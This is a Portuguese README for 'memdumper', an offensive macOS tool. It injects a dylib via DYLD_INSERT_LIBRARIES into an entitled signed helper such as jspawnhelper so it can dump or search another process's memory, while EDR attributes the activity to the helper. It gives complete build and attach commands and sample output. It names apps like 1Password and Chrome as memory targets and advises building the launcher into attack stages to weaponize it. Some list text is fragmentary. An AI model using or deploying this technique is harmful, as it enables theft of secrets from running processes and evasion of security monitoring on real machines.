
Abusa dos entitlements de depurador do macOS e da DYLD_INSERT_LIBRARIES para despejar ou pesquisar a memória de um processo em execução, ao mesmo tempo que transfere a atribuição de EDR para um binário auxiliar assinado.
por cenobyte [email protected] 2026
https://github.com/cenobyte-vincit/memdumper
O memdumper lê a memória de um processo macOS em execução sob o entitlement de depuração de outro binário assinado. O objetivo é que task_for_pid e ptrace sejam executados como esse binário com entitlements, para que um EDR registre essa atividade em vez do memdumper.
O memdumper inicia um binário com entitlements que carrega com.apple.security.cs.debugger e os dois entitlements que permitem uma inserção via DYLD_INSERT_LIBRARIES. Use-o para pesquisar e fazer o dump da memória de outro processo como root. O jspawnhelper do OpenJDK é um binário comumente encontrado, especialmente em máquinas de desenvolvedores.
Passe ao attach.sh um PID alvo e o binário com entitlements. O construtor da dylib é executado antes do main desse binário, lê o alvo e então chama _exit. O binário com entitlements nunca chega ao main, portanto um auxiliar como jspawnhelper não imprime seu banner de uso. Argumentos extras após o binário com entitlements permanecem na linha de comando que um EDR registra. Sem -s, a dylib faz o hex-dump do início de cada região legível. Com -s, ela procura a string nessas regiões. O espaço de endereçamento do alvo não é gravado. O attach via ptrace pode parar o alvo brevemente.
O status do dump é a linha [RESULT] na saída mesclada. Uma inserção bem-sucedida termina com 0 depois que o construtor termina.
com.apple.security.cs.debugger, com.apple.security.cs.allow-dyld-environment-variables e com.apple.security.cs.disable-library-validation (por exemplo, o jspawnhelper do OpenJDK)clangmakeattach.sh e os scripts de teste (brew install shellcheck)brew install cppcheck)No host de compilação:
make
Isso produz memdumper.dylib. Copie o attach.sh e o memdumper.dylib para o alvo se as máquinas não forem as mesmas.
Execute o attach.sh como root a partir do diretório que contém memdumper.dylib. Um chamador não-root é recusado antes de o binário com entitlements iniciar (root required). Isso evita a caixa de diálogo de senha do Developer Tool Access (taskgated / Authorization Services). Essa caixa de diálogo não é Transparência, Consentimento e Controle (TCC).
sudo ./attach.sh [options] -p <pid> <entitled-binary> [args...]
Confirme que um binário candidato com entitlements tem os três entitlements. O prefixo do Cellar e a versão do OpenJDK variam; o attach.sh usa este layout na própria ajuda:
codesign -d --entitlements - \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Faça o dump das regiões legíveis do PID 4543:
sudo ./attach.sh -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Procure por HELLO nesse processo:
sudo ./attach.sh -s HELLO -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Limite o dump a 50 regiões legíveis, usando java como binário com entitlements. TestSpawn permanece na linha de comando; o main do java não é executado:
sudo ./attach.sh -n 50 -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/bin/java TestSpawn
Um editor sem Hardened Runtime funciona como alvo de smoke test. Inicie-o como o usuário dono do buffer e depois faça o attach como root. Em um terminal:
nano foo
Coloque HELLO no buffer para que a string esteja no processo (salve o arquivo ou deixe-o sem salvar). Em outro terminal, a partir do diretório que contém memdumper.dylib:
sudo ./attach.sh -s HELLO -p "$(pgrep nano)" \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Uma correspondência tem esta aparência. O processo então sai com 0:
Target: pid 9810 (nano)
Target has no hardened runtime
[MEMDUMPER] Injected into PID 9852 (UID 0)
[MEMDUMPER] Entitled binary: /opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
[MEMDUMPER] Target: PID 9810 (nano)
[METHOD1] task_for_pid() on PID 9810 (nano)
[*] Got task port 0x1013
[*] Task info: virt=425098.0MB res=8.3MB
[*] Threads: 1
[MEMORY SEARCH] Looking for "HELLO" in PID 9810
MATCH at 0xa70c60200 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c601d0: 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |O...............|
0x0000000a70c601e0: 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |#...............|
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 |./...|
MATCH at 0xa70c60230 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |./..............|
0x0000000a70c60250: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60260: 2f d9 b9 83 27 dc 6a ec 22 90 00 00 00 00 00 00 |/...'.j.".......|
0x0000000a70c60270: 00 00 00 00 00 |.....|
Search complete: 2 matches found in 70 regions
[METHOD2] ptrace(PT_ATTACHEXC) on PID 9810 (nano)
[*] Attached with ptrace
[*] Detached successfully
[METHOD3] proc_pidinfo() on PID 9810 (nano)
[*] Process info: virt=425098MB res=8MB threads=1
[RESULT] 3/3 methods successful - FULL ACCESS
[MEMDUMPER] Done
O attach.sh não verifica os entitlements do binário. Um binário sem qualquer um dos três falha na inserção ou no task_for_pid.
| Código | Significado |
|---|---|
| 0 | O construtor terminou após uma inserção bem-sucedida |
| 1 | Erro de uso, não é root, memdumper.dylib ausente no diretório atual, -p ausente, PID alvo não encontrado, Hardened Runtime sem --force, ou a inserção não ocorreu (o binário com entitlements então foi executado e saiu com código diferente de zero) |
Leia [RESULT] para ver o resultado do dump. O código de saída 0 significa apenas que o construtor foi executado e chamou _exit.
A dylib lê três variáveis de ambiente. O attach.sh as define a partir das opções.
Qualquer iniciador que defina DYLD_INSERT_LIBRARIES como memdumper.dylib e também defina essas variáveis pode injetar a dylib. O attach.sh é o iniciador incluído no repositório.
No host de compilação, o make compila a dylib e executa cppcheck e shellcheck. O make test executa os testes unitários e a suíte funcional. Essas verificações não são uma prova de execução limpa.
Os testes de busca e dump em processo vivo precisam de Homebrew OpenJDK e uid 0. Eles localizam o jspawnhelper com find em /opt/homebrew/Cellar e /usr/local/Cellar (sem fixar versão). Eles próprios não chamam sudo. Sem Homebrew OpenJDK, ou se a suíte não estiver já com uid 0, esses dois casos são pulados (exit 77), de modo que um make test não-root não aciona o Developer Tool Access. Use sudo make test quando quiser que essas injeções sejam executadas.
make
make test
sudo make test
make test-unit
make test-functional
task_for_pid, ptrace e a leitura de memória (1Password, Chrome). O --force ainda tenta e quase sempre falha.taskgated avalia o direito system.privilege.taskport do Authorization Services. Essa caixa de diálogo não é TCC. O Modo de Desenvolvedor (DevToolsSecurity -enable) mais a associação a admin ou _developer não a suprime para o jspawnhelper do Homebrew (adhoc, entitlement público de depurador). Ele só dispensa a senha para ferramentas assinadas pela Apple, como lldb. A Proteção de Integridade do Sistema (SIP) mantém os processos protegidos do sistema fora de alcance mesmo para root.bash) recusam o attach por meio de outras verificações.attach.sh procura por no diretório de trabalho atual, não ao lado do script. Para usar isso como arma por completo, implemente esse iniciador no estágio 1 ou estágio 2 em vez de distribuir o .system.privilege.taskport, os três métodos, o que um EDR registra| Opção | Significado |
|---|
-p, --pid PID | ID do processo alvo (obrigatório) |
-s, --search STRING | Procura STRING nas regiões legíveis |
-n, --max-regions N | Número máximo de regiões legíveis para hex-dump (padrão 100). Somente no caminho de dump |
-f, --force | Continua quando o codesign relata Hardened Runtime |
-h, --help | Imprime o uso (exit 1) |
| Variável | Definida por | Significado |
|---|
MEMDUMPER_TARGET_PID | -p | PID alvo. Se não for definida ou não for um inteiro positivo, o construtor imprime um diagnóstico e retorna |
MEMDUMPER_SEARCH | -s | Se não vazia, procura em vez de fazer o dump |
MEMDUMPER_MAX_REGIONS | -n | Regiões legíveis para hex-dump (padrão 100). Ignorada no caminho de busca |
memdumper.dylibattach.sh-n / MEMDUMPER_MAX_REGIONS, padrão 100).ptrace é apenas attach e detach. Ele não despeja memória. [RESULT] 3/3 significa que as três chamadas foram bem-sucedidas, e não que três caminhos de dump foram executados.DYLD_INSERT_LIBRARIES. Caçadores de ameaças usam esse campo para detectar essa inserção.